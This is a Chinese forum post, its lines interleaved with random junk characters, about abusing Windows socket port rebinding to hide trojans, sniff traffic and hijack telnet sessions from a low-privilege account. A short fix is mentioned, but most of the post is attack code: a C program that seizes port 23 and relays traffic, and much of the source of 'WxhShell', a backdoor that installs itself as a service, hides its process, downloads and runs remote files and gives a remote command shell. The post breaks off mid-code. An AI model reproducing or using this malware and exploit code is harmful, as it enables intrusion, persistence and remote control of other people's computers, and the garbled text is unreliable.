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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T @z$g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \/,SH?>4x  
%%f=aPw  
  saddr.sin_family = AF_INET; %bv<OMD  
OrH&dY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <n#JOjHV  
) wGC=,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q|j;dI&  
-&HN h\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ; lK2]  
Pq`4Y K  
  这意味着什么?意味着可以进行如下的攻击: 4o|~KX8Qz  
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  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^L[Z+7|  
8ZahpB  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {1qEN_ERx  
YV2^eGr.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 BkC(9[Ei  
jb*#!m.l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5H',Bm4-  
}%:?s6Ler  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 vWgh?h/ot  
hR?rZUl2M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <fyv^e  
J6Kf z~%  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D@3|nS  
A#p@`|H#B  
  #include q2SkkY$_]y  
  #include ~ugcfDJ  
  #include ;J`X0Vl$  
  #include    ?Z.YJXoKZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JlH|=nIaj6  
  int main() } K Ou  
  { WTd}) s  
  WORD wVersionRequested; 2R_k$kHl  
  DWORD ret; hgh1G7A&  
  WSADATA wsaData; 0zfrx-'zN  
  BOOL val; 5G2u(hx  
  SOCKADDR_IN saddr; q`{.2yV  
  SOCKADDR_IN scaddr; UjfB+=7I{L  
  int err; J^?O] |  
  SOCKET s; >:K3y$]_  
  SOCKET sc; BpK P]V  
  int caddsize; k'\RS6M`L  
  HANDLE mt; kC#;j=K?  
  DWORD tid;   Xau.4&\d  
  wVersionRequested = MAKEWORD( 2, 2 ); *]EcjK%  
  err = WSAStartup( wVersionRequested, &wsaData ); A+dY~@*a  
  if ( err != 0 ) { f8n'9HOw>  
  printf("error!WSAStartup failed!\n"); zb3ir|  
  return -1; B 51LZP  
  } & v`kyc  
  saddr.sin_family = AF_INET; v(0vP}[Q7E  
   F )tNA?p)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  ^@ux  
}cf-r>WaR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AfY(+w6!K  
  saddr.sin_port = htons(23); :@p`E}1r{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nd?m+C&W  
  { Sj*H4ZHD<&  
  printf("error!socket failed!\n"); <^&'r5H  
  return -1; sO*6F`eiZ  
  } w(@`g/b  
  val = TRUE; SHaZ-d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 y}3V3uqK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QO%LSRw  
  { zzxU9m~"  
  printf("error!setsockopt failed!\n"); ar{e<&Bny  
  return -1; >Te{a*`"m:  
  } 7eO8cPy  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I?:V EN:  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eFx*lYjA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 k{;:KW|  
44]ae~@a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zZy>XHR H  
  { M\]E;C'"U  
  ret=GetLastError(); Fb*;5VNU.  
  printf("error!bind failed!\n"); 2<'gX>TW  
  return -1; _,'UP>Si  
  } l==T3u r  
  listen(s,2); nQgn^z#  
  while(1) D +oo5  
  { v:+se6HY?p  
  caddsize = sizeof(scaddr); 6$z UFIk  
  //接受连接请求 ]F_u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S !e0 :  
  if(sc!=INVALID_SOCKET) ]f\rB8k|&  
  { o 1b#q/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8=e \^Q+  
  if(mt==NULL) >SzTZ3!E  
  { '.bMkty#  
  printf("Thread Creat Failed!\n"); 4bKZ@r%  
  break; *zx;81X=  
  } 4Pt0^;H&jn  
  } D`gY6wX  
  CloseHandle(mt); ~:0h o  
  } .=NK^  
  closesocket(s); dzcPSbbpt  
  WSACleanup(); '3xSzsDn  
  return 0; x^ Wgo`v)  
  }   ~jPe9  
  DWORD WINAPI ClientThread(LPVOID lpParam) =*'` \}];"  
  { F8k1fmM]Y  
  SOCKET ss = (SOCKET)lpParam; isN"7y|r:X  
  SOCKET sc; FYi<+]HZ  
  unsigned char buf[4096]; -8TLnl~[  
  SOCKADDR_IN saddr; Di L@NU!$q  
  long num; Z<wg`  
  DWORD val; n b{8zo  
  DWORD ret; yf$7<gwX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 fL@[B{XMM  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qv<VKJTi6]  
  saddr.sin_family = AF_INET; ik]UzB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5n"'M&Ce  
  saddr.sin_port = htons(23); -V+fQGZe  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;<*VwXJR  
  { aH~il!K  
  printf("error!socket failed!\n"); -}>Q0d)  
  return -1; Z2ZS5a  
  } c2i^dNp_  
  val = 100; +Y \#'KrA  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l>:?U  
  { e5AiIVlv  
  ret = GetLastError(); I7}[%(~Sf/  
  return -1; ._nhW*  
  } }X`K3sk2/z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sPhh#VCw{  
  { xOt|j4  
  ret = GetLastError(); Rk'pymap  
  return -1; y@(U 6ZOyx  
  } +yYz;, \  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?2i``-|Wa  
  { s5[ Cr"q7B  
  printf("error!socket connect failed!\n"); AKHi$Bk  
  closesocket(sc); 7[K$os5al  
  closesocket(ss); %8v?dB;>x`  
  return -1; Y/4B*>kl  
  } yNqrL?i  
  while(1) dtnAMa5$T  
  { @-W)(9kZ|  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Hu;#uAnxQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a([cuh.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ruA!+@or  
  num = recv(ss,buf,4096,0); @1kA%LLK  
  if(num>0) {>~|xW  
  send(sc,buf,num,0); x;C\G`9N  
  else if(num==0) 9SU;c l  
  break; .qHgQ_%  
  num = recv(sc,buf,4096,0); r..Rh9v/=E  
  if(num>0) HWc=.Qq  
  send(ss,buf,num,0); uYs+x X_  
  else if(num==0) *f,EDSN1@d  
  break; %II |;<  
  } =T+<>/[  
  closesocket(ss); jbG #__#_  
  closesocket(sc); ~< k'{  
  return 0 ; 8J>s|MZ  
  } {!<zk+h$  
3n,F5?! m  
t<Og ?m}(  
========================================================== h-6kf:XP%  
;Neld #%J  
下边附上一个代码,,WXhSHELL H_jMl$f)j  
9iGJYMWf  
========================================================== H*!E*_  
3vMfms  
#include "stdafx.h" -ERDWY  
JWEqy+,Fjw  
#include <stdio.h> 9_&.G4%V  
#include <string.h> $cYh X^YG.  
#include <windows.h> :V >Z|?[*H  
#include <winsock2.h> Q.!D2RZc  
#include <winsvc.h> 6 s*#y [$  
#include <urlmon.h> = i `o+H  
uu'~[SZlL  
#pragma comment (lib, "Ws2_32.lib") n}YRE`>D  
#pragma comment (lib, "urlmon.lib") r% qgLP{v  
7q(RQQp  
#define MAX_USER   100 // 最大客户端连接数 >y2gfD  
#define BUF_SOCK   200 // sock buffer g<tr |n  
#define KEY_BUFF   255 // 输入 buffer Y>IEB,w  
L-q.Q  
#define REBOOT     0   // 重启 -[G+*3Y{7  
#define SHUTDOWN   1   // 关机 eM{+R^8  
w%`7,d u|  
#define DEF_PORT   5000 // 监听端口 ?a(ApD\  
4D0"Y #&G  
#define REG_LEN     16   // 注册表键长度 $_NVy>\&  
#define SVC_LEN     80   // NT服务名长度 Z~v.!j0  
;Q\Duj  
// 从dll定义API l].dOso$`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q xKC5`1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hg |DpP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2y,f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N U\B  
rZ *}jD[  
// wxhshell配置信息 !hEt UF  
struct WSCFG { )$Mgp *?  
  int ws_port;         // 监听端口 '(~+ \  
  char ws_passstr[REG_LEN]; // 口令 EQMn'>  
  int ws_autoins;       // 安装标记, 1=yes 0=no %[5hTf  
  char ws_regname[REG_LEN]; // 注册表键名 s<aJ pi{n4  
  char ws_svcname[REG_LEN]; // 服务名 $(G.P!/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }ob#LC,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EW|bs#l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;QS-a  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4y:yFTp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l(*`,-pv:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m{;2!  
}5u$/c@f1  
}; e![n$/E3R  
vDqmD{%4N  
// default Wxhshell configuration TU^UR}=lP  
struct WSCFG wscfg={DEF_PORT, M2{{B ^*$6  
    "xuhuanlingzhe", ' FF@I^O  
    1, Il,2^54q  
    "Wxhshell", pFx7URZA  
    "Wxhshell", 5v6*.e'p  
            "WxhShell Service", 7"FsW3an  
    "Wrsky Windows CmdShell Service", Nxp 7/Nn3  
    "Please Input Your Password: ", 1@egAo)  
  1, 1 VcZg%I  
  "http://www.wrsky.com/wxhshell.exe", t*iKkV^aE  
  "Wxhshell.exe" B!4chxzUZ  
    }; ( hp 52Vse  
g Q6_]~4  
// 消息定义模块 ]oUvC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r ".*l?=  
char *msg_ws_prompt="\n\r? for help\n\r#>";  $TGE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <Y9%oJn%  
char *msg_ws_ext="\n\rExit."; WRe9ki=R  
char *msg_ws_end="\n\rQuit."; % tTL  
char *msg_ws_boot="\n\rReboot..."; //xK v{3fI  
char *msg_ws_poff="\n\rShutdown..."; Y({&} \o  
char *msg_ws_down="\n\rSave to "; xk7 MMRb  
[vrM,?X  
char *msg_ws_err="\n\rErr!"; ;=fOyg  
char *msg_ws_ok="\n\rOK!"; I<Wp,E9G#  
Op0n.\>  
char ExeFile[MAX_PATH]; p(=}Qqdr8  
int nUser = 0; Cjc>0)f&.  
HANDLE handles[MAX_USER]; sIJl9  
int OsIsNt; dG2k4 O  
bnIl@0Y  
SERVICE_STATUS       serviceStatus; 0}$Zr*|;Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B<zoa=  
C0(?f[/(M  
// 函数声明 OX-t#R`  
int Install(void); ]?rVram;z  
int Uninstall(void); NwP!.  
int DownloadFile(char *sURL, SOCKET wsh); \,&,Q  
int Boot(int flag); P;4Y%Dq~Qo  
void HideProc(void); iHBetkAu  
int GetOsVer(void); H65><38X/  
int Wxhshell(SOCKET wsl); >pdWR1ox  
void TalkWithClient(void *cs); D<U^FT  
int CmdShell(SOCKET sock); C>wOoXjt  
int StartFromService(void); 4z%::?  
int StartWxhshell(LPSTR lpCmdLine); iI.pxo s  
|qm_ESzl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Xt} 4B#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H{hd1  
X$BN &DD  
// 数据结构和表定义 fqpbsM;M]  
SERVICE_TABLE_ENTRY DispatchTable[] = Pu>jECcz  
{ >>bsr#aJ  
{wscfg.ws_svcname, NTServiceMain}, +-2o b90_m  
{NULL, NULL} : 8h\x  
}; -Y>,\VEK  
&YpViC4K.  
// 自我安装 &rs   
int Install(void) ( f]@lNmx  
{ Jui:Ms  
  char svExeFile[MAX_PATH]; /o L& <e  
  HKEY key; pW5ch"HE  
  strcpy(svExeFile,ExeFile); Z uFk}R"x  
?TWve)U  
// 如果是win9x系统,修改注册表设为自启动 7qsu0 .[d  
if(!OsIsNt) { e%[0 NVo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !$n@-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (w[#h9j  
  RegCloseKey(key); Aqy y\G;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3V uoDmG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RD6n1Wb(@  
  RegCloseKey(key); Cfs2tN  
  return 0; vG'6?%38  
    } )+7|_7 !x  
  } nwS @r  
} u1 Z;n  
else { ty ESDp%  
u:]c  
// 如果是NT以上系统,安装为系统服务 QQI,$HId  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f |%II,!3  
if (schSCManager!=0) $|"Y|3&X  
{ c!0u,6  
  SC_HANDLE schService = CreateService WwUhwY1o!L  
  ( P aD6||1F  
  schSCManager, Ah 2*7@U  
  wscfg.ws_svcname, tq$L* ++O  
  wscfg.ws_svcdisp, %plu]^Vy  
  SERVICE_ALL_ACCESS, X8 $Y2?<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , [g<Y,0,J  
  SERVICE_AUTO_START, I|n? 32F  
  SERVICE_ERROR_NORMAL, =y^`yv 3  
  svExeFile, \qf0=CPw8  
  NULL, /Fk]>|*  
  NULL, {'8td^JEE  
  NULL, ^ YOC HXg  
  NULL,  Zh  
  NULL t]IHQ8  
  ); dl]pdg<  
  if (schService!=0) Y5{KtW  
  { I=[Ir8} ;  
  CloseServiceHandle(schService); fV#,<JG  
  CloseServiceHandle(schSCManager); DHq#beN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l*>,K2F  
  strcat(svExeFile,wscfg.ws_svcname); s5/u>d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *"nN To  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '\O[j*h^.  
  RegCloseKey(key); hv0bs8h  
  return 0; dzQs7D}  
    } dy>5LzqK3  
  } K/iFB  
  CloseServiceHandle(schSCManager); S;0z%$y  
} n1U!od  
} `5Bv2 wlIV  
XL3m#zW&  
return 1; J Bgq2  
} R 7h^ @  
[I?[N.v  
// 自我卸载 G! Y l0Zr  
int Uninstall(void) 9])Id;+91  
{ ,<=gPs;x  
  HKEY key; )2 lB  
r.q*S4IS.m  
if(!OsIsNt) { Qz"+M+~%&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3D-0 N0o  
  RegDeleteValue(key,wscfg.ws_regname); ^sKdN-{  
  RegCloseKey(key); (_%l[:o6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `# U<'$  
  RegDeleteValue(key,wscfg.ws_regname); "XQ3mi`y  
  RegCloseKey(key); =Vm3f^  
  return 0; 0u;a*#V@  
  } gvFJ~lL  
} S{m:Iij[;  
} /3#h]5Y"T  
else { wz..  
%4wEAi$I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RNF%i~nhO  
if (schSCManager!=0) &S=Qu?H  
{ (%c&Km7K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Gf +>Aj U'  
  if (schService!=0) |<Y~\ |  
  { p/yz`m T'w  
  if(DeleteService(schService)!=0) { w@"Zjbs`  
  CloseServiceHandle(schService); /Y=_EOS  
  CloseServiceHandle(schSCManager); s3Wjhw/  
  return 0; j0=F__H#@  
  } m@Dra2Cv'@  
  CloseServiceHandle(schService); o~<jayqU  
  } D<hX%VJ%M  
  CloseServiceHandle(schSCManager); TMGYNb%<bX  
} ihJ!]#Fbm  
} ch2m Ei(  
+DG-MM%\  
return 1; `_f&T}]  
} mGDy3R90  
8.G<+.  
// 从指定url下载文件 `$Um  
int DownloadFile(char *sURL, SOCKET wsh) q*Oj5;  
{ 4{Q$^wD+.  
  HRESULT hr; W__Y^\ ~  
char seps[]= "/";  ,)uW`7  
char *token; g:O/~L0Xb  
char *file; =0L%<@yA  
char myURL[MAX_PATH]; `YUeVz>q?  
char myFILE[MAX_PATH]; *8Su:=*b  
w/ ^_w5  
strcpy(myURL,sURL); b*W,8HF4,  
  token=strtok(myURL,seps); 7;c^*"Ud  
  while(token!=NULL) a"i(.(9$J  
  { 9@ 4]t6h[  
    file=token; CA1Jjm=  
  token=strtok(NULL,seps); S}fQis  
  } !?R#e`}  
k`o8(zPb  
GetCurrentDirectory(MAX_PATH,myFILE); ])G| U A.  
strcat(myFILE, "\\"); qzNXz_#+u  
strcat(myFILE, file); ySI}Nm>&=  
  send(wsh,myFILE,strlen(myFILE),0); A;5_/ 2  
send(wsh,"...",3,0); H s$HeAp;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n*ROlCxV  
  if(hr==S_OK) HE{UgU:tY  
return 0; E,F^!4 rJ$  
else yN)(MmX'1  
return 1; 2}7_Y6RS*  
_k : BY  
} '4 It>50b  
 _X  
// 系统电源模块 E7i/gY  
int Boot(int flag) rg ; 4INs#  
{ 8bQXC+bK  
  HANDLE hToken; [m4M#Lg\0  
  TOKEN_PRIVILEGES tkp; Ie K+  
@{U UB=}9  
  if(OsIsNt) { Tay$::V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~9OZRt[&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); TV0sxod6  
    tkp.PrivilegeCount = 1; JhjH_)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b)x0;8<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); iITMBS`}  
if(flag==REBOOT) { :Jf</uP_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) dGj0;3FI%  
  return 0; m,"-/)  
}  }D+ b`,  
else { s?s ,wdp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $9j>oUG  
  return 0; |Xm$O1Wa  
} S,C c0)j>  
  } ,}khu  
  else {  3Z`"k2k  
if(flag==REBOOT) { ]%I\FefT  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q=>5@sZB  
  return 0; PjX V.gz  
} N34-z|"q  
else { 4DDBf j  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E|>-7k")  
  return 0;   NV-l9  
} WO{7/h</  
} pouXt-%2X  
 0Gc:+c7{  
return 1; pEz^z9  
} wfe4b  
w N`Nj m9!  
// win9x进程隐藏模块 ~\2%h lA  
void HideProc(void) r~JGs?GH  
{ $=,pQ q  
vE8BB$D  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7QnWw0  
  if ( hKernel != NULL ) mA$86 X_  
  { 1=5HQ~|[TO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [mQ1r*[j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); si)>:e  
    FreeLibrary(hKernel); \2=I//YF  
  } m&b1H9ymd  
h_ccE 6]t  
return; "f<gZsb  
} R2?s NlF  
\.oJ/++  
// 获取操作系统版本 5M~+F"Hl  
int GetOsVer(void) /\<x8BJ  
{ Z*f%R\u  
  OSVERSIONINFO winfo; 'K02T:\iZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l`l6Y>c*]  
  GetVersionEx(&winfo); ^fe,A=k~1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _68vSYr  
  return 1; XkkzY5rxOc  
  else i].E1},%  
  return 0; TmftEw>u  
} L C##em=Y  
J)y g<*/3  
// 客户端句柄模块 E3Y0@r  
int Wxhshell(SOCKET wsl) 8m=R" %h  
{ Cse`MP  
  SOCKET wsh; ?>{u@tYL  
  struct sockaddr_in client; ]LZ#[xnM7  
  DWORD myID; R) :Xs .  
rr2 !H%:  
  while(nUser<MAX_USER) < `"  
{ JNXzZ4U  
  int nSize=sizeof(client); KM)f~^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,u^{zYoW  
  if(wsh==INVALID_SOCKET) return 1; rv(N0p/  
9B;WjXSe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jIr\.i  
if(handles[nUser]==0) n*ShYsc  
  closesocket(wsh); 3) d }3w {  
else wu eDedz\  
  nUser++; n{<}<SVY  
  } 5,oLl {S'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^X+qut+~  
[e ztu9  
  return 0; gm,AH85  
} i ]8bj5j{  
Vt3*~Beb  
// 关闭 socket ?wlRHVZ  
void CloseIt(SOCKET wsh) yQ[;.<%v  
{ 9XtO#!+48  
closesocket(wsh); -`{W~yz  
nUser--; uq-`1m }  
ExitThread(0); jSHFY]2  
} WkE="E}  
Li|~%E1  
// 客户端请求句柄 Zzg zeT+bv  
void TalkWithClient(void *cs) {DKZ ~  
{ )-1e} VF(U  
YLTg(*  
  SOCKET wsh=(SOCKET)cs; T%& vq6  
  char pwd[SVC_LEN]; zj] g^c;  
  char cmd[KEY_BUFF]; 8<T~AU8'*  
char chr[1]; u&c%L0)E&  
int i,j; jQ'g'c!  
T(Q ~b  
  while (nUser < MAX_USER) { dmXfz D  
lb}RPvQE  
if(wscfg.ws_passstr) { j!!s>7IZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0wNlt#G;{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xg7KU&  
  //ZeroMemory(pwd,KEY_BUFF); ]NBx5m+y@i  
      i=0; B0gD4MX/  
  while(i<SVC_LEN) { @iV-pJ-  
E9I08AODS  
  // 设置超时 [t3 Kgjt  
  fd_set FdRead; rjWtioZEa  
  struct timeval TimeOut; r,.j^a  
  FD_ZERO(&FdRead); EATVce]T  
  FD_SET(wsh,&FdRead); b?KdR5  
  TimeOut.tv_sec=8; )\:IRr"  
  TimeOut.tv_usec=0; r ~UDK]?V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  )sdHJ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >KP,67  
DpA)Vdj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o!~XYEXvUa  
  pwd=chr[0]; 4t }wMOR  
  if(chr[0]==0xd || chr[0]==0xa) { *_YR*e0^nN  
  pwd=0; elhP!"G  
  break; aACPyfGQ  
  } a?nK|Q=e  
  i++; YJHb\Cf.  
    } J;>~PXB  
,D }Ka?  
  // 如果是非法用户,关闭 socket k) Lhzr[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1;c>#20  
} C{^I}p  
R!"|~OO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LXxQI(RO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p&Qm[!  
`5h^!="  
while(1) { HH7WMYoKY  
\db=]L=|  
  ZeroMemory(cmd,KEY_BUFF); CC"a2Hu/  
M[z1B!rT  
      // 自动支持客户端 telnet标准   .On qj^v  
  j=0; XI[n!)3  
  while(j<KEY_BUFF) { /1{:uh$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;>6~}lMgJ  
  cmd[j]=chr[0]; wE=I3E%  
  if(chr[0]==0xa || chr[0]==0xd) { f&^"[S"\f  
  cmd[j]=0; DjN1EP\Xx  
  break; M\k[?i  
  } u&S0  
  j++; ohx$;j  
    } |4pl}:g/Z  
?qSwV.l]d  
  // 下载文件 tCO?<QBE  
  if(strstr(cmd,"http://")) { 1Dhe! n#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VK*`&D<P  
  if(DownloadFile(cmd,wsh)) ke;=Vg|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z:AB (c  
  else KFO K%vbM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Fx%P:d  
  } W<#!He  
  else { <XDnAv0t  
:NWIUN  
    switch(cmd[0]) { /*BU5  
  GT] >  
  // 帮助 oxeu%wj_  
  case '?': { AhA&=l i;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +HUy,@^ Pa  
    break; B/@LE{qUn  
  } )SZ#%OE*  
  // 安装 2SlL`hN>Z  
  case 'i': { G}l9 [lE  
    if(Install()) Iq,h}7C8'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vq-Kl[-|  
    else `p* 43nV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aN*{nW  
    break; PknKzrEG:>  
    } 0L32sF y  
  // 卸载 #T>?g5I  
  case 'r': { u tkdL4G}'  
    if(Uninstall()) -eh .Tk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L;M@]  
    else s1::\&`za  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )i:*r8*~  
    break; O#[bNLV  
    } UNiK6h_%  
  // 显示 wxhshell 所在路径 :5j+^/   
  case 'p': { ZQKo ]Kdr  
    char svExeFile[MAX_PATH]; JM/\n 4ea:  
    strcpy(svExeFile,"\n\r"); &0bq3JGW  
      strcat(svExeFile,ExeFile); "HqmS  
        send(wsh,svExeFile,strlen(svExeFile),0); P* &0HbJ  
    break; }vY^e OK.  
    } ,\&r\!=  
  // 重启 z3L=K9)  
  case 'b': { =ca[*0^Z7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yO@1#  
    if(Boot(REBOOT)) m6K7D([f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8`)* ?Q9~  
    else { k+"7hf=C|  
    closesocket(wsh); w nQy   
    ExitThread(0); W,yLGz\  
    } C<T6l'S{?  
    break; LdOme [C1  
    } *! :j$n;  
  // 关机 0$-|Th:o  
  case 'd': { zx]r.V  
